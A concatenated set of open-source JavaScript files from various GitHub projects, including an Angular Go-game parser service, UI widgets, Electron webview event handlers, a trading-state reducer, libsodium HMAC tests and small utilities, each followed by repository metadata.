target = IS_GLOBAL ? global : IS_STATIC ? global[name] : (global[name] || {})[PROTOTYPE],
key,
own,
out;
if (IS_GLOBAL)
source = name;
for (key in source) {
own = !IS_FORCED && target && key in target;
if (own && key in exports)
continue;
out = own ? target[key] : source[key];
exports[key] = IS_GLOBAL && typeof target[key] != 'function' ? source[key] : IS_BIND && own ? ctx(out, global) : IS_WRAP && target[key] == out ? (function(C) {
var F = function(param) {
return this instanceof C ? new C(param) : C(param);
};
F[PROTOTYPE] = C[PROTOTYPE];
return F;
})(out) : IS_PROTO && typeof out == 'function' ? ctx(Function.call, out) : out;
if (IS_PROTO)
(exports[PROTOTYPE] || (exports[PROTOTYPE] = {}))[key] = out;
}
};
$export.F = 1;
$export.G = 2;
$export.S = 4;
$export.P = 8;
$export.B = 16;
$export.W = 32;
module.exports = $export;
| mbroadst/aurelia-plunker | jspm_packages/npm/[email protected]/library/modules/$.export.js | JavaScript | mit | 1,397 |
/**
* KifuParser :: This is a wrapper class for all available kifu parsers. It also provides
* constants used by the parsers to aid conversion.
*/
/**
* Module definition and dependencies
*/
angular.module('ngGo.Kifu.Parser.Service', [
'ngGo',
'ngGo.Kifu.Parsers.Gib2Jgf.Service',
'ngGo.Kifu.Parsers.Sgf2Jgf.Service',
'ngGo.Kifu.Parsers.Jgf2Sgf.Service'
])
/**
* SGF/JGF aliases constant for conversion between the two formats
* Note: not all properties can be translated directly, so some are
* not present here in this constant
*/
.constant('sgfAliases', {
//Record properties
'AP': 'record.application',
'CA': 'record.charset',
'CP': 'record.copyright',
'SO': 'record.source',
'US': 'record.transcriber',
'AN': 'record.annotator',
//Game properties
'GM': 'game.type',
'GN': 'game.name',
'KM': 'game.komi',
'HA': 'game.handicap',
'RE': 'game.result',
'RU': 'game.rules',
'TM': 'game.time.main',
'OT': 'game.time.overtime',
'DT': 'game.dates',
'PC': 'game.location',
'EV': 'game.event',
'RO': 'game.round',
'ON': 'game.opening',
'GC': 'game.comment',
//Player info properties
'PB': 'name',
'PW': 'name',
'BT': 'team',
'WT': 'team',
'BR': 'rank',
'WR': 'rank',
//Node annotation
'N': 'name',
'C': 'comments',
'CR': 'circle',
'TR': 'triangle',
'SQ': 'square',
'MA': 'mark',
'SL': 'select',
'LB': 'label'
})
/**
* SGF game definitions
*/
.constant('sgfGames', {
1: 'go',
2: 'othello',
3: 'chess',
4: 'renju',
6: 'backgammon',
7: 'chinese chess',
8: 'shogi'
})
/**
* Factory definition
*/
.factory('KifuParser', function(Gib2Jgf, Sgf2Jgf, Jgf2Sgf) {
/**
* Parser wrapper class
*/
var KifuParser = {
/**
* Parse GIB string into a JGF object or string
*/
gib2jgf: function(gib, stringified) {
return Gib2Jgf.parse(gib, stringified);
},
/**
* Parse SGF string into a JGF object or string
*/
sgf2jgf: function(sgf, stringified) {
return Sgf2Jgf.parse(sgf, stringified);
},
/**
* Parse JGF object or string into an SGF string
*/
jgf2sgf: function(jgf) {
return Jgf2Sgf.parse(jgf);
}
};
//Return object
return KifuParser;
});
| adambuczynski/ngGo | src/kifu/parser.service.js | JavaScript | mit | 2,242 |
function filterAction(action_type) {
return function(action) {
return action.type === action_type;
};
}
module.exports.filterAction = filterAction;
| littlehaker/React-Bacon-Timetravel-Example | src/util.js | JavaScript | mit | 165 |
/* @flow */
import type { Validation$opts } from './interfaces'
/**
* @private
*/
class Validation<T> {
key: string;
value: T;
validator: (value?: T) => boolean;
constructor(opts: Validation$opts<T>) {
Object.defineProperties(this, {
key: {
value: opts.key,
writable: false,
enumerable: true,
configurable: false
},
value: {
value: opts.value,
writable: false,
enumerable: true,
configurable: false
},
validator: {
value: opts.validator,
writable: false,
enumerable: false,
configurable: false
}
})
}
isValid(): boolean {
return this.validator(this.value)
}
}
export default Validation
export { ValidationError } from './errors'
| jamemackson/lux | src/packages/database/validation/index.js | JavaScript | mit | 798 |
"use strict";
var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = void 0;
var _createSvgIcon = _interopRequireDefault(require("./utils/createSvgIcon"));
var _jsxRuntime = require("react/jsx-runtime");
var _default = (0, _createSvgIcon.default)( /*#__PURE__*/(0, _jsxRuntime.jsx)("path", {
d: "M7 19h10v1c0 1.1-.9 2-2 2H9c-1.1 0-2-.9-2-2v-1zm0-1h10v-5H7v5zM17 3v6l-3.15-.66c-.01 0-.01.01-.02.02 1.55.62 2.72 1.98 3.07 3.64H7.1c.34-1.66 1.52-3.02 3.07-3.64-.33-.26-.6-.58-.8-.95L5 6.5v-1l4.37-.91C9.87 3.65 10.86 3 12 3c.7 0 1.34.25 1.85.66L17 3zm-4 3c-.03-.59-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1z"
}), 'FireExtinguisher');
exports.default = _default; | oliviertassinari/material-ui | packages/mui-icons-material/lib/FireExtinguisher.js | JavaScript | mit | 779 |
/**
* @module inputex-ddlist
*/
var lang = Y.Lang,
inputEx = Y.inputEx,
create = Y.Node.create,
DDListField;
/**
* Create a sortable list field with drag and drop
*
* @class inputEx.DDListField
* @extends inputEx.Field
* @constructor
* @param {Object} options Added options:
* <ul>
* <li>items: list of option elements configurations</li>
* <li>name: hidden inputs name</li>
* <li>valueKey: value key</li>
* <li>labelKey: label key</li>
* </ul>
*/
DDListField = function (options) {
DDListField.superclass.constructor.call(this, options);
};
DDListField.LIST_TEMPLATE = '<ul class="inputEx-ddlist">{items}</ul>';
DDListField.LIST_ITEM_CLASS = 'inputEx-ddlist-item';
DDListField.LIST_ITEM_TEMPLATE =
'<li class="{class}">' +
'<span class="inputEx-ddlist-item-label">{label}</span>' +
'<input type="hidden" name="{name}" value="{value}" />' +
'<button class="unselect" style="display: {removable}">x</button>'+
'</li>';
Y.extend(DDListField, inputEx.Field, {
/**
* @method setOptions
*/
setOptions: function (options) {
DDListField.superclass.setOptions.call(this, options);
this.options.items = lang.isArray(options.items) ? options.items : [];
this.options.valueKey = options.valueKey || "value";
this.options.labelKey = options.labelKey || "label";
this.options.name = options.name || Y.guid();
this.options.removable = options.removable || false;
if (this.options.name.substr(-2) !== '[]') {
this.options.name += '[]';
}
},
/**
* @method renderComponent
*/
renderComponent: function () {
var html, ul;
html = Y.Array.reduce(this.options.items, '', this.renderListItem, this);
html = Y.Lang.sub(DDListField.LIST_TEMPLATE, {items: html});
ul = create(html);
ul.appendTo(this.fieldContainer);
this.sortable = new Y.Sortable({
container: ul,
nodes: '.' + DDListField.LIST_ITEM_CLASS,
opacity: '.1'
});
this.sortable.delegate.dd.on('drag:end', function(e) {
this.fireUpdatedEvt();
}, this);
},
/**
* @method renderListItem
*/
renderListItem: function (previousValue, currentValue) {
var remove = this.options.removable ? '' : 'none';
return previousValue + Y.Lang.sub(DDListField.LIST_ITEM_TEMPLATE, {
'class': DDListField.LIST_ITEM_CLASS,
'value': currentValue[this.options.valueKey],
'label': currentValue[this.options.labelKey],
'name': this.options.name,
'removable': remove
});
},
/**
* @method addItem
*/
addItem: function (item) {
var ul = this.sortable.get('container');
var a = this.renderListItem('', item);
var newLi = Y.Node.create(a);
newLi.one('.unselect').on('click', this.removeItemCallback, this);
ul.append(newLi);
this.sortable.sync();
},
/**
* @method removeItem
*/
removeItem: function (item) {
// TODO
this.sortable.sync();
},
/**
* @method removeItemCallback
* @param event
*/
removeItemCallback: function (event) {
var wrapper = event.target.ancestor('li'), item;
if (wrapper) {
item = wrapper.one('input').getAttribute('value');
wrapper.remove();
this.fire('itemRemoved', item, this);
}
this.sortable.sync();
},
enable: function() {
var ul = this.sortable.get('container');
ul.all('.unselect').each(function (i) {
i.show();
});
DDListField.superclass.enable.call(this);
},
disable: function() {
var ul = this.sortable.get('container');
ul.all('.unselect').each(function (i) {
i.hide();
});
DDListField.superclass.disable.call(this);
},
/**
* @method clear
*/
clear: function () {
var ul = this.sortable.get('container');
ul.empty();
this.sortable.sync();
},
/**
* @method getValue
*/
getValue: function () {
return Y.one(this.fieldContainer)
.all('.'+DDListField.LIST_ITEM_CLASS+' input')
.get('value');
},
/**
* Set the value of the DDList
* @method setValue
* @param {String} value The value to set
* @param {boolean} [sendUpdatedEvt] Wether this setValue should fire the 'updated' event or not (default is true, pass false to NOT send the event)
*/
setValue: function (value, sendUpdatedEvt) {
this.clear();
if (Y.Array.test(value) === 1) {
Y.Array.each(value, function(item) {
this.addItem(item);
}, this);
} else {
this.addItem(value);
}
// Call Field.setValue to set class and fire updated event
DDListField.superclass.setValue.call(this, value, sendUpdatedEvt);
}
});
inputEx.DDListField = DDListField;
inputEx.registerType("ddlist", DDListField);
| clicrdv/inputex | src/ddlist/js/ddlist.js | JavaScript | mit | 5,445 |
import expect from 'expect.js'
import css, {create} from './index'
describe('css-jss: exports', () => {
it('should have correct exports', () => {
expect(css).to.be.a(Function)
expect(create).to.be.a(Function)
})
})
| cssinjs/jss | packages/css-jss/src/index.test.js | JavaScript | mit | 228 |
import {
cyan500, cyan700,
pinkA200,
grey100, grey300, grey400, grey500,
white, darkBlack, fullBlack,
} from '../colors';
import ColorManipulator from '../../utils/colorManipulator';
import spacing from '../spacing';
/*
* Light Theme is the default theme used in material-ui. It is guaranteed to
* have all theme variables needed for every component. Variables not defined
* in a custom theme will default to these values.
*/
export default {
spacing: spacing,
fontFamily: 'Roboto, sans-serif',
palette: {
primary1Color: cyan500,
primary2Color: cyan700,
primary3Color: grey400,
accent1Color: pinkA200,
accent2Color: grey100,
accent3Color: grey500,
textColor: darkBlack,
alternateTextColor: white,
canvasColor: white,
borderColor: grey300,
disabledColor: ColorManipulator.fade(darkBlack, 0.3),
pickerHeaderColor: cyan500,
clockCircleColor: ColorManipulator.fade(darkBlack, 0.07),
shadowColor: fullBlack,
},
};
| skarnecki/material-ui | src/styles/baseThemes/lightBaseTheme.js | JavaScript | mit | 982 |
module.exports = "async-dep";
| webpack-contrib/uglifyjs-webpack-plugin | test/fixtures/import-export/async-dep.js | JavaScript | mit | 30 |
/**
* Copyright (c) 2015 Tiinusen
*
* Many thanks to Cake Software Foundation, Inc. (http://cakefoundation.org)
* This was inspired by http://cakephp.org CakePHP(tm) Project
*
* Licensed under The MIT License
* For full copyright and license information, please see the LICENSE
* Redistributions of files must retain the above copyright notice.
*
* @copyright Copyright (c) 2015 Tiinusen
* @link https://github.com/cakejs/cakejs
* @license http://www.opensource.org/licenses/mit-license.php MIT License
*/
//CakeJS.Collection.CollectionInterface
//Types
import {NotImplementedException} from '../Exception/NotImplementedException'
export class CollectionInterface
{
forEach(callback)
{
throw new NotImplementedException();
}
each(callback)
{
throw new NotImplementedException();
}
map(callback)
{
throw new NotImplementedException();
}
extract(keyPath)
{
throw new NotImplementedException();
}
insert(keyPath, value)
{
throw new NotImplementedException();
}
combine(keyPath, valuePath, groupPath)
{
throw new NotImplementedException();
}
stopWhen(callback)
{
throw new NotImplementedException();
}
unfold()
{
throw new NotImplementedException();
}
filter(callback)
{
throw new NotImplementedException();
}
reject(callback)
{
throw new NotImplementedException();
}
match(conditions)
{
throw new NotImplementedException();
}
firstMatch(conditions)
{
throw new NotImplementedException();
}
contains(value)
{
throw new NotImplementedException();
}
toList(cloneObject)
{
throw new NotImplementedException();
}
toArray(cloneObject)
{
throw new NotImplementedException();
}
toObject(cloneObject)
{
throw new NotImplementedException();
}
compile()
{
throw new NotImplementedException();
}
} | cakejs/cakejs | src/Collection/CollectionInterface.js | JavaScript | mit | 1,831 |
var GlobalOptions = require('../src/entity/options/GlobalOptions');
describe('GlobalOptions tests', function() {
it('tests constructor', function() {
var options = new GlobalOptions({
collate: '',
'no-collate': 0,
'cookie-jar': 'cookie.path',
'copies': null
});
expect(options.isCollateEnabled()).toBeTruthy();
expect(options.options['no-collate']).toBe(0);
expect(options.options['cookie-jar']).toBe('cookie.path');
expect(options.getCopies()).toBeNull();
expect(options.getDpi()).toBeNull();
expect(options.isExtendedHelpEnabled()).toBeFalsy();
});
it('tests setters/getters', function() {
var options = new GlobalOptions();
options.enableCollate();
expect(options.isCollateEnabled()).toBeTruthy();
options.disableCollate();
expect(options.isCollateEnabled()).toBeFalsy();
options.setCopies(10);
expect(options.getCopies()).toBe(10);
expect(options.getTitle()).toBe(null);
});
}); | GrizliK1988/wkhtmltopdf-nodejs | test/GlobalOptionsSpec.js | JavaScript | mit | 1,080 |
/*
* Add a bunch of supporting functions to the core data types in Javascript
* but only add them if they don't already exist.
*/
function _extendBaseType_(baseType, funcName, func) {
if (typeof baseType[funcName] !== 'function') {
baseType[funcName] = func;
}
return func;
}
function _extendBasePrototype_( baseType, funcName, func ) { return _extendBaseType_(baseType.prototype, funcName, func); }
/*
* Inheritance
*/
Function.prototype.inheritsFrom = function( parentClassOrObject ){
if ( parentClassOrObject.constructor == Function )
{
//Normal Inheritance
this.prototype = new parentClassOrObject;
this.prototype.constructor = this;
this.prototype.parent = parentClassOrObject.prototype;
}
else
{
//Pure Virtual Inheritance
this.prototype = parentClassOrObject;
this.prototype.constructor = this;
this.prototype.parent = parentClassOrObject;
}
return this;
}
/*
* String
*/
_extendBasePrototype_(String,'toDate',function() {
return iso2date(this.toString());
});
_extendBasePrototype_(String,'trim',function(chars) { // trim \s or chars from front and back
if (chars)
return this.replace(new RegExp("^["+chars+"]+|["+chars+"]+$","g"),"");
return this.replace(/^\s+|\s+$/g,"");
});
_extendBasePrototype_(String,'ltrim',function(chars) {
if (chars)
return this.replace(new RegExp("^["+chars+"]+","g"),"");
return this.replace(/^\s+/,"");
});
_extendBasePrototype_(String,'rtrim',function(chars) {
if (chars)
return this.replace(new RegExp("["+chars+"]+$","g"),"");
return this.replace(/\s+$/,"");
});
/*
* Number
*/
/*
* Date
*/
_extendBasePrototype_(Date,'toDate',function() {
return this;
});
_extendBasePrototype_(Date,'format',function(str) {
switch (str) {
case "handsom":
return time_in_words(this);
break;
default:
// parse out format string
return this.getMonth() + "/" + this.getDay() + "/" + this.getYear();
}
});
/*
* Function Helpers
*/
function run_once(func) {
var ran = false;
return function() {
if (!ran) {
ran = true;
func.apply(this,arguments);
}
};
}
var time_in_words = function(timestamp) {
var c = new Date();
var t = null;
if (typeof(timestamp) == "string") {
t = iso2date(timestamp);
} else {
t = timestamp;
}
var d = c.getTime() - t.getTime();
var dY = Math.floor(d / (365 * 30 * 24 * 60 * 60 * 1000));
var dM = Math.floor(d / (30 * 24 * 60 * 60 * 1000));
var dD = Math.floor(d / (24 * 60 * 60 * 1000));
var dH = Math.floor(d / (60 * 60 * 1000));
var dN = Math.floor(d / (60 * 1000));
if (dY > 0) { return dY === 1? _("1 year ago") : dY + _(" years ago"); }
if (dM > 0) { return dM === 1? _("1 month ago") : dM + _(" months ago"); }
if (dD > 0) { return dD === 1? _("1 day ago") : dD + _(" days ago"); }
if (dH > 0) { return dH === 1? _("1 hour ago") : dH + _(" hours ago"); }
if (dN > 0) { return dN === 1? _("1 minute ago") : dN + _(" minutes ago"); }
return _("less than a minute ago");
};
// from http://delete.me.uk/2005/03/iso8601.html
var iso2date = function(string) {
var regexp = "([0-9]{4})(-([0-9]{2})(-([0-9]{2})" +
"(T([0-9]{2}):([0-9]{2})(:([0-9]{2})(\.([0-9]+))?)?" +
"(Z|(([-+])([0-9]{2}):([0-9]{2})))?)?)?)?";
var d = string.match(new RegExp(regexp));
var offset = 0;
var date = new Date(d[1], 0, 1);
if (d[3]) { date.setMonth(d[3] - 1); }
if (d[5]) { date.setDate(d[5]); }
if (d[7]) { date.setHours(d[7]); }
if (d[8]) { date.setMinutes(d[8]); }
if (d[10]) { date.setSeconds(d[10]); }
if (d[12]) { date.setMilliseconds(Number("0." + d[12]) * 1000); }
if (d[14]) {
offset = (Number(d[16]) * 60) + Number(d[17]);
offset *= ((d[15] === '-') ? 1 : -1);
}
offset -= date.getTimezoneOffset();
var time = (Number(date) + (offset * 60 * 1000));
var result = new Date();
result.setTime(Number(time));
return result;
};
/*
* Array
*/
_extendBasePrototype_(Array,'forEach',function(fun /*, thisp*/) {
var len = this.length;
if (typeof fun != "function")
throw new TypeError();
var thisp = arguments[1];
for (var i = 0; i < len; i++) {
if (i in this)
fun.call(thisp, this[i], i, this);
}
});
| Reisender/clapp | support.js | JavaScript | mit | 4,253 |
import {ipcRenderer} from 'electron';
import * as piwik from 'renderer/services/piwik';
import webView from 'renderer/webview';
/**
* Change the webview's zoom level.
*/
ipcRenderer.on('zoom-level', function (event, zoomLevel) {
log('setting webview zoom level', zoomLevel);
webView.setZoomLevel(zoomLevel);
});
/**
* Forward a message to the webview.
*/
ipcRenderer.on('fwd-webview', function (event, channel, ...args) {
if (typeof webView.isLoading === 'function' && !webView.isLoading()) {
webView.send(channel, ...args);
} else {
const onLoaded = function () {
webView.send(channel, ...args);
webView.removeEventListener('dom-ready', onLoaded);
};
webView.addEventListener('dom-ready', onLoaded);
}
});
/**
* Call a method of the webview.
*/
ipcRenderer.on('call-webview-method', function (event, method, ...args) {
if (typeof webView[method] === 'function') {
webView[method](...args);
} else {
logError(new Error('method ' + method + ' on webview is not a function'));
}
});
/**
* Toggle the dev tools panel of the webview.
*/
ipcRenderer.on('toggle-wv-dev-tools', function (event) {
if (webView.isDevToolsOpened()) {
webView.closeDevTools();
} else {
webView.openDevTools();
}
});
/**
* Track an analytics event.
*/
ipcRenderer.on('track-analytics', function (event, name, args) {
const tracker = piwik.getTracker();
if (typeof tracker !== 'function') {
const trackerFn = tracker[name];
trackerFn(...args);
} else {
logError(new Error('piwik.getTracker is not a function'));
}
});
| Aluxian/Facebook-Messenger-Desktop | src/scripts/renderer/webview/events.js | JavaScript | mit | 1,591 |
import { getLoginTarget, getLoginTargets } from "@buttercup/locust";
import { itemIsIgnored } from "./disable.js";
import { getSharedTracker } from "./LoginTracker.js";
const TARGET_SEARCH_INTERVAL = 1500;
export function enterLoginDetails(username, password, login = false) {
const loginTarget = getLoginTarget();
if (loginTarget) {
const tracker = getSharedTracker();
const connection = tracker.getConnection(loginTarget);
connection.entry = true;
if (login) {
loginTarget.login(username, password);
} else {
loginTarget.enterDetails(username, password);
}
}
}
export function onIdentifiedTarget(callback) {
const locatedForms = [];
const findTargets = () => {
getLoginTargets()
.filter(target => locatedForms.includes(target.form) === false)
.forEach(target => {
locatedForms.push(target.form);
setTimeout(() => {
callback(target);
}, 0);
});
};
const checkInterval = setInterval(findTargets, TARGET_SEARCH_INTERVAL);
setTimeout(findTargets, 0);
return {
remove: () => {
clearInterval(checkInterval);
locatedForms.splice(0, locatedForms.length);
}
};
}
export function watchLogin(target, usernameUpdate, passwordUpdate, onSubmit) {
target.on("valueChanged", info => {
if (info.type === "username") {
usernameUpdate(info.value);
} else if (info.type === "password") {
passwordUpdate(info.value);
}
});
target.on("formSubmitted", info => {
if (info.source === "form") {
onSubmit();
}
});
}
| perry-mitchell/buttercup-chrome | source/tab/login.js | JavaScript | mit | 1,751 |
/**
* Created by bmf on 07/25/16.
*/
var assert = require('assert');
var sodium = require('../build/Release/sodium');
var key = new Buffer(
[0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b,
0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16,
0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20
]);
var c = new Buffer(
[0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd,
0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd,
0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd,
0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd,
0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd, 0xcd
]);
var expected = new Buffer(
[0x37, 0x2e, 0xfc, 0xf9, 0xb4, 0x0b, 0x35, 0xc2,
0x11, 0x5b, 0x13, 0x46, 0x90, 0x3d, 0x2e, 0xf4,
0x2f, 0xce, 0xd4, 0x6f, 0x08, 0x46, 0xe7, 0x25,
0x7b, 0xb1, 0x56, 0xd3, 0xd7, 0xb3, 0x0d, 0x3f
]);
describe("Auth2 and Auth3", function() {
it("generate token with HMAC-SHA256", function(done) {
var h = sodium.crypto_auth_hmacsha256(c, key);
assert.deepEqual(h, expected);
done();
});
it("verify token with HMAC-SHA256", function(done) {
assert.equal(sodium.crypto_auth_hmacsha256_verify(expected, c, key), 0);
done();
});
}); | qbit/node-sodium-prebuilt | test/test_sodium_auth2.js | JavaScript | mit | 1,369 |
module.exports = inject
function inject (bot, { version }) {
const BossBar = require('../bossbar')(version)
const bars = {}
bot._client.on('boss_bar', (packet) => {
if (packet.action === 0) {
bars[packet.entityUUID] = new BossBar(
packet.entityUUID,
packet.title,
packet.health,
packet.dividers,
packet.color,
packet.flags
)
bot.emit('bossBarCreated', bars[packet.entityUUID])
} else if (packet.action === 1) {
bot.emit('bossBarDeleted', bars[packet.entityUUID])
delete bars[packet.entityUUID]
} else {
if (!(packet.entityUUID in bars)) {
return
}
if (packet.action === 2) {
bars[packet.entityUUID].health = packet.health
}
if (packet.action === 3) {
bars[packet.entityUUID].title = packet.title
}
if (packet.action === 4) {
bars[packet.entityUUID].dividers = packet.dividers
bars[packet.entityUUID].color = packet.color
}
if (packet.action === 5) {
bars[packet.entityUUID].flags = packet.flags
}
bot.emit('bossBarUpdated', bars[packet.entityUUID])
}
})
Object.defineProperty(bot, 'bossBars', {
get () {
return Object.values(bars)
}
})
}
| andrewrk/mineflayer | lib/plugins/boss_bar.js | JavaScript | mit | 1,280 |
$('.ezyRead').ezyRead(); | Kajja/jsme | webroot/js/pluginpres.js | JavaScript | mit | 24 |
// Copyright 2018 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
* @implements {SDK.SDKModelObserver<!SDK.LogModel>}
*/
BrowserSDK.LogManager = class {
constructor() {
SDK.targetManager.observeModels(SDK.LogModel, this);
}
/**
* @override
* @param {!SDK.LogModel} logModel
*/
modelAdded(logModel) {
const eventListeners = [];
eventListeners.push(logModel.addEventListener(SDK.LogModel.Events.EntryAdded, this._logEntryAdded, this));
logModel[BrowserSDK.LogManager._eventSymbol] = eventListeners;
}
/**
* @override
* @param {!SDK.LogModel} logModel
*/
modelRemoved(logModel) {
Common.EventTarget.removeEventListeners(logModel[BrowserSDK.LogManager._eventSymbol]);
}
/**
* @param {!Common.Event} event
*/
_logEntryAdded(event) {
const data = /** @type {{logModel: !SDK.LogModel, entry: !Protocol.Log.LogEntry}} */ (event.data);
const target = data.logModel.target();
const consoleMessage = new SDK.ConsoleMessage(
target.model(SDK.RuntimeModel), data.entry.source, data.entry.level, data.entry.text, undefined, data.entry.url,
data.entry.lineNumber, undefined, [data.entry.text, ...(data.entry.args || [])], data.entry.stackTrace,
data.entry.timestamp, undefined, undefined, data.entry.workerId);
if (data.entry.networkRequestId)
BrowserSDK.networkLog.associateConsoleMessageWithRequest(consoleMessage, data.entry.networkRequestId);
SDK.consoleModel.addMessage(consoleMessage);
}
};
BrowserSDK.LogManager._eventSymbol = Symbol('_events');
new BrowserSDK.LogManager();
| weexteam/weex-toolkit | packages/@weex/plugins/debug/frontend/src/assets/inspector/browser_sdk/LogManager.js | JavaScript | mit | 1,696 |
var fs = require('fs')
var parseTorrentFile = require('../')
var test = require('tape')
var leavesCorrupt = fs.readFileSync(__dirname + '/torrents/leaves-corrupt.torrent')
test('exception thrown when torrent file is missing `name` field', function (t) {
t.throws(function () {
parseTorrentFile(leavesCorrupt)
})
t.end()
})
| Ivshti/parse-torrent-file | test/corrupt.js | JavaScript | mit | 335 |
'use strict';
var JSONScript = require('../lib/jsonscript');
var executors = require('./executors');
var assert = require('assert');
var Ajv = require('ajv');
describe('macros', function() {
var js;
before(function() {
js = new JSONScript;
});
describe('expandJsMacro keyword', function() {
it('should expand macro according to rule', function() {
var validate = js.ajv.compile({
"expandJsMacro": {
"description": "executor call with method",
"pattern": {
"^\\$\\$([^\\.]+)\\.([^\\.]+)$": 1
},
"script": {
"$exec": "$1",
"$method": "$2",
"$args": 1
}
}
});
var script = { "$$router.get": { "path": "/resource/1" } };
validate(script);
assert.deepEqual(script, {
"$exec": "router",
"$method": "get",
"$args": { "path": "/resource/1" }
});
});
});
describe('expandMacros method', function() {
it('should expand macros in properties', function() {
var script = {
"res1": { "$$router1.get": { "path": "/resource/1" } },
"res2": { "$$router1.get": { "path": "/resource/2" } }
};
js.expandMacros(script);
assert.deepEqual(script, {
"res1": {
"$exec": "router1",
"$method": "get",
"$args": { "path": "/resource/1" }
},
"res2": {
"$exec": "router1",
"$method": "get",
"$args": { "path": "/resource/2" }
}
});
});
it('should expand macros in items', function() {
var script = [
{ "$$router1": { "method": "get", "path": "/resource/1" } },
{ "$$router1.get": { "path": "/resource/2" } }
];
js.expandMacros(script);
assert.deepEqual(script, [
{
"$exec": "router1",
"$args": { "method": "get", "path": "/resource/1" }
},
{
"$exec": "router1",
"$method": "get",
"$args": { "path": "/resource/2" }
}
]);
});
it('should expand macros in items inside properties', function() {
var script = {
"res1": [
{ "$$router1.get": { "path": "/resource/1" } },
{ "$$router1.put": { "path": "/resource/1", "data": "test1" } }
],
"res2": [
{ "$$router1.get": { "path": "/resource/2" } },
{ "$$router1.put": { "path": "/resource/2", "data": "test2" } }
]
};
js.expandMacros(script);
assert.deepEqual(script, {
"res1": [
{
"$exec": "router1",
"$method": "get",
"$args": { "path": "/resource/1" }
},
{
"$exec": "router1",
"$method": "put",
"$args": { "path": "/resource/1", "data": "test1" }
}
],
"res2": [
{
"$exec": "router1",
"$method": "get",
"$args": { "path": "/resource/2" }
},
{
"$exec": "router1",
"$method": "put",
"$args": { "path": "/resource/2", "data": "test2" }
}
]
});
});
it('should expand macro inside macro', function() {
var script = {
"$$calc.equal": [
{ "$$router1.get": { "path": { "$data": "/path" } } },
"you requested /resource/1 from router1"
]
};
js.expandMacros(script);
assert.deepEqual(script, {
"$exec": "calc",
"$method": "equal",
"$args": [
{
"$exec": "router1",
"$method": "get",
"$args": {
"path": { "$data": "/path" }
}
},
"you requested /resource/1 from router1"
]
});
});
});
describe('expand function call', function() {
it('should expand to $call instruction', function() {
var script = {
"res1": { "$#myfunc": [ 1 ] },
"res2": { "$#myfunc": [ 2 ] }
};
js.expandMacros(script);
assert.deepEqual(script, {
"res1": {
"$call": "myfunc",
"$args": [ 1 ]
},
"res2": {
"$call": "myfunc",
"$args": [ 2 ]
}
});
});
});
describe('expand calculations', function() {
it('should expand to $calc instruction', function() {
var script = [
{ "$+": [ 1, 2 ] },
{ "$-": [ 2, 1 ] },
{ "$*": [ 1, 2 ] },
{ "$/": [ 2, 1 ] }
];
js.expandMacros(script);
assert.deepEqual(script, [
{
"$exec": "calc",
"$method": "add",
"$args": [ 1, 2 ]
},
{
"$exec": "calc",
"$method": "subtract",
"$args": [ 2, 1 ]
},
{
"$exec": "calc",
"$method": "multiply",
"$args": [ 1, 2 ]
},
{
"$exec": "calc",
"$method": "divide",
"$args": [ 2, 1 ]
}
]);
});
});
});
| epoberezkin/jsonscript-js | spec/expand_macro.spec.js | JavaScript | mit | 5,094 |
System.register(['@angular/platform-browser-dynamic', './app.component', 'rxjs/RX', 'ng2-charts/ng2-charts'], function(exports_1, context_1) {
"use strict";
var __moduleName = context_1 && context_1.id;
var platform_browser_dynamic_1, app_component_1;
return {
setters:[
function (platform_browser_dynamic_1_1) {
platform_browser_dynamic_1 = platform_browser_dynamic_1_1;
},
function (app_component_1_1) {
app_component_1 = app_component_1_1;
},
function (_1) {},
function (_2) {}],
execute: function() {
platform_browser_dynamic_1.bootstrap(app_component_1.AppComponent);
}
}
});
//# sourceMappingURL=main.js.map | atorefrank/TTU-SDC | Angular/build/main.js | JavaScript | mit | 773 |
import * as React from 'react';
import createSvgIcon from './utils/createSvgIcon';
export default createSvgIcon(
<path d="M17 3H7c-1.1 0-1.99.9-1.99 2L5 21l7-3 7 3V5c0-1.1-.9-2-2-2zm0 15l-5-2.18L7 18V6c0-.55.45-1 1-1h8c.55 0 1 .45 1 1v12z" />
, 'TurnedInNotRounded');
| lgollut/material-ui | packages/material-ui-icons/src/TurnedInNotRounded.js | JavaScript | mit | 271 |
// Redux/vuex inspired reducer, reduces an event into a gekko state.
// NOTE: this is used by the backend as well as the frontend.
const skipInitialEvents = ['marketUpdate'];
const skipLatestEvents = ['marketStart', 'stratWarmupCompleted'];
const trackAllEvents = ['tradeCompleted', 'advice', 'roundtrip'];
const reduce = (state, event) => {
const type = event.type;
const payload = event.payload;
state = {
...state,
latestUpdate: new Date()
}
if(trackAllEvents.includes(type)) {
if(!state.events[type]) {
state = {
...state,
events: {
...state.events,
[type]: [ payload ]
}
}
} else {
state = {
...state,
events: {
...state.events,
[type]: [ ...state.events[type], payload ]
}
}
}
}
if(!state.events.initial[type] && !skipInitialEvents.includes(type)) {
state = {
...state,
events: {
...state.events,
initial: {
...state.events.initial,
[type]: payload
}
}
}
}
if(!skipLatestEvents.includes(type)) {
state = {
...state,
events: {
...state.events,
latest: {
...state.events.latest,
[type]: payload
}
}
}
}
return state;
}
// export default reduce;
module.exports = reduce; | askmike/gekko | web/state/reduceState.js | JavaScript | mit | 1,375 |
import { renderElement, fetchAsJson } from './util';
import toPairs from 'lodash/toPairs';
const BASE_URL = 'https://api.github.com';
export default class GithubProfile {
constructor(uid, reposNum = 5, options = {}) {
this.uid = uid;
this.perPage = reposNum;
this.opts = options;
console.log('GithubProfile: Constructor %o', this);
}
async render(srcElement, dstElement) {
